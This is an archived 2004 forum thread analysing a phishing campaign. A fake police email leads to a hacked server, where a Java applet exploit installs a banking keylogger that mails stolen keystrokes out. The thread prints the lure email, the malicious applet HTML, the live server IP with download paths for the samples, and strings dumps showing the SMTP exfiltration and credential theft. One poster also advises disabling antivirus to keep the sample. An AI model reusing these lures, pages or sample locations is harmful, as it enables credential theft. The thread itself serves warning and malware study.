owned as we speak

how current can you get? though you might like to take a look a crime in progress

220-Connecting To MegaCrew's l337 FTP Server....
220-.:::::::::::::::::::::::
220-.::: ____________________________________________________
220-.:::| ╕,°ñ░`░ñ°,╕╕╕╕╕╕╕╕╕╕╕
220-.:::| .Welcome to
220-.:::| MegaCrew
220-.:::| ``````````░ñ°,╕╕,°ñ░`
220-.:::|____________________________________________________
220-.:::::::::::::::::::::::
220-.:::|____________________________________________________
220-.:::| USER INFO:
220-.:::|
220-.:::| ñ Your IP Address : xx.xxx.xx.xxx
220-.:::| ñ Current Time : 11:55:34
220-.:::| ñ Current Date : Monday 16 February, 2004
220-.:::|____________________________________________________
220-.:::::::::::::::::::::::

This is from the server used to download a keylogger that looks only for info on bank accounts then emails it to an '.ru' mail server. the originating address of the email is in china which is no doubt owned by someone from somewhere else.


victims are lured to a website threw an email:

Hello...

It has come to my attention that you are being under the police investigation.
Is that true? Have you really commited such crimes?

Please read the following article located at:

http://federalpolice.com:article872[...#39;1075686747


where they see what appears to be a server error page which is actually a web page made to download an executable (threw the mime type vuln) which is named javautil.zip and execute it.

the web server that is being used is a completly owned server. (its really disgraceful)

the hacked server is still up '1075686747' for anyone wanting to get a first hand look at it but the police have been notified and are probably watching it.

more info:

http://spamwatch.codefish.net.au/mod...article&sid=55

good work tedbob...how long have u been trackin this? how'd u find all this out? do they set up a backdoor also along with a keylogger?

Hmm. I saw an advisory about this one this morning. The advisory is from a payed security firm so I cannot post the info here.

Good find!

BE CAREFUL if you downloaded the javautil.zip (for educational puposes ;) ) it's NOT a zipfile but an executable.

This one started over the weekend. The first bits came out late Saturday and I've suggested to the original poster to get Antiphishing.com to look into posting it as well.

I just wanted to know how the javautil.zip can be made to auto - execute in one's machine; is it because the file is really called javautil.exe? maybe this is a stupid question, but maybe you could tell me what the mime type vun looks like to be aware when opening different webpages.
Don't you have your internet settings set so that there has to be authorization before a download is made into your computer?

Quote:

---

the web server that is being used is a completly owned server. (its really disgraceful)

---

*ROTFLMAO*

Holy crap! When you said completly you weren't kidding. Anybody else see that mess?
Not only does it look like 3 seperate doors, it appears as if they didn't even need them in the first place. No pun intended. :D

This is a perfect example of why you need to lock down your machines. Not just patched either. Learn how some of this stuff actually works, if you don't need it disable it. Granted some of this stuff could of been enabled by the attacker.

Good find Tedob1 thanks for the humor.

/edit corrected name OOPS!

no prob. ive been called much much worse.

to add insult to injury the perps are using netbus.


epolgar:
http://secunia.com/advisories/10736/

an added note from full-disclosure:

"one major issue left out by that link is the fact that it is not just a
keylogger, it also rapes the Protected Storage Subsystem, as is obvious
by the fact that it imports pstorec.dll, and calls PStoreCreateInstance.
Another interesting thing to note is that it can be uninstalled by
finding the EXE and running it with the "Uninstall" flag... "

I wonder if my firewall would catch it...is it safe to click on that link without having it execute on my PC. I'm using win2k/XP dual boot. Connected through 2k rite now. I would like to tear the program they're using appart to see what I learn from it. If you have the file, would you be able to post it as an attachment for me please.

64.29.173.91

After you connect it servers you the files automaticaly via an applet

here is the html

<HTML><BODY bgcolor=white link=#ffffff vlink=#ffffff alink=#ffffff>
<h2>SERVER ERROR 550</h2>
<APPLET ARCHIVE="javautil.zip" CODE="BlackBox.class" WIDTH=1 HEIGHT=1></APPLET></BODY></HTML>


if you connect

64.29.173.91/blackbox.class
64.29.173.91/javautil.zip

you can save them that way

hope this helps

Norton will pick up blackbox.class so if you wanna keep it kill norton or any other AV for a moment.

Use at your own discretion


hope this helps

Hmm...i am able to download them but the Av will autmatically pick it up. I could ignore the AV but i'm at my work place right now and I dont want to jeopardise any of the computers here. I'll wait until I get home on my Lab pcs. Thank you very much. That was exactly what I was looking for.

Cheers,

From FD on this attachment:

Quote:

---

From the source of that page:

APPLET ARCHIVE="javautil.zip" CODE="BlackBox.class" WIDTH=1 HEIGHT=1

BlackBox.class is detected immediately by my virusscanner as ClassLoader/E, more info:
http://www.viruslibrary.com/virusinf...lassLoader.htm

The javautil.zip appears to be an exe file renamed to zip. The exe is compressed with FSG.

Interresting pieces of output from strings on the decompressed exe:


----------------------------------------------BEGIN
HookerDll.Dll
Install
Uninstall
EDIT
%s\%s
WVS3
\kgn.txt
Hooker.dll
Install
Uninstall
Westpac
bendigo
Bendigo
e-bendigo
e-Bendigo
commbank
Commonwealth
NetBank
Citibank
Bank of America
e-gold
e-bullion
e-Bullion
evocash
EVOCash
EVOcash
intgold
INTGold
paypal
PayPal
bankwest
Bank West
BankWest
National Internet Banking
cibc
CIBC
scotiabank
ScotiaBank
Scotia Bank
bank of montreal
Bank of Montreal
royalbank
Royal Bank
RoyalBank
tdwaterhouse
TD Canada Trust
TD Waterhouse
president's choice
President's Choice
President Choice
suncorpmetway
Suncorp
macquarie
Macquarie
INTgold
1mdc
1MDC
TD Waterhouse
goldmoney
GoldMoney
goldgrams
pecunix
Pecunix
Pecun!x
hyperwallet
HyperWallet
Wells Fargo
Bank One
Banesto
CAIXA
SunTrust
Sun Trust
Discover Card
Washington Mutual
Wachovia
desjardins
Chase
0+060F0
1$11161J1U1i1
2.2I2\2
3'3,3E3c3h3r3
4%42484>4D4J4P4V4\4b4h4n4t4z4
DATA
EHLO localhost
Subject: KeyLog from (%s)
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
open
pstorec.dll
PStoreCreateInstance
internet explorer
http://
wininetcachecredentials
Cookie:
----------------------------------------------END

---

I believe a good "strings" will give you these results.

< joke >-sits here, blinking- I always miss out on all the fun, being on a Linux system. :(< /joke >

Oh pooh, you don't have to miss anything. Heck, half the fun of being on a *nix system is the ability to touch and play with this stuff. Why else would the *nix gods give us strings to play with? :D

for any interested javautil is packed using fsg which can be found at illmob:

http://illmob.com/stuff/fsg.zip

and must be uncompressed using it before strings can be run against it.

although strings was originally a unix util there are many windows ports around a windows version can be had from:

http://members.cox.net/dos/unix.htm

heres the results of strings run against blackbox.class:

BlackBox
java/applet/Applet
UCL_def
Magic_def
stop
Code
LineNumberTable
this
Synthetic
<init>
Dummy
VerifierBug
getClass
()Ljava/lang/Class;
java/lang/Object
dummy_class
Ljava/lang/Class;
UCL_definition
Magic
myDefineClass
)(Ljava/lang/String;[BII)Ljava/lang/Class;
newInstance
()Ljava/lang/Object;
java/lang/Class
com.ms.security.PermissionSet
forName
%(Ljava/lang/String;)Ljava/lang/Class;
doit
getMethod
@(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
!com/ms/security/PermissionDataSet
setFullyTrusted
(Z)V
com/ms/security/PermissionSet
&(Lcom/ms/security/PermissionDataSet;)V
getClassLoader
()Ljava/lang/ClassLoader;
com/ms/vm/loader/URLClassLoader
value
!Lcom/ms/vm/loader/URLClassLoader;
invoke
9(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
java/lang/reflect/Method
Worker
loadClass
java/lang/Throwable
SourceFile
BlackBox.java
R: +

i dont see visa on that list ms. mittens :) guess i'm safe heh

The only way to be safe these days, is not to be online it seems.
But still it is pretty funny how these sort of Virus's (If you can call them that) seem to keep popping up time after time.

cheers
.:front2back:.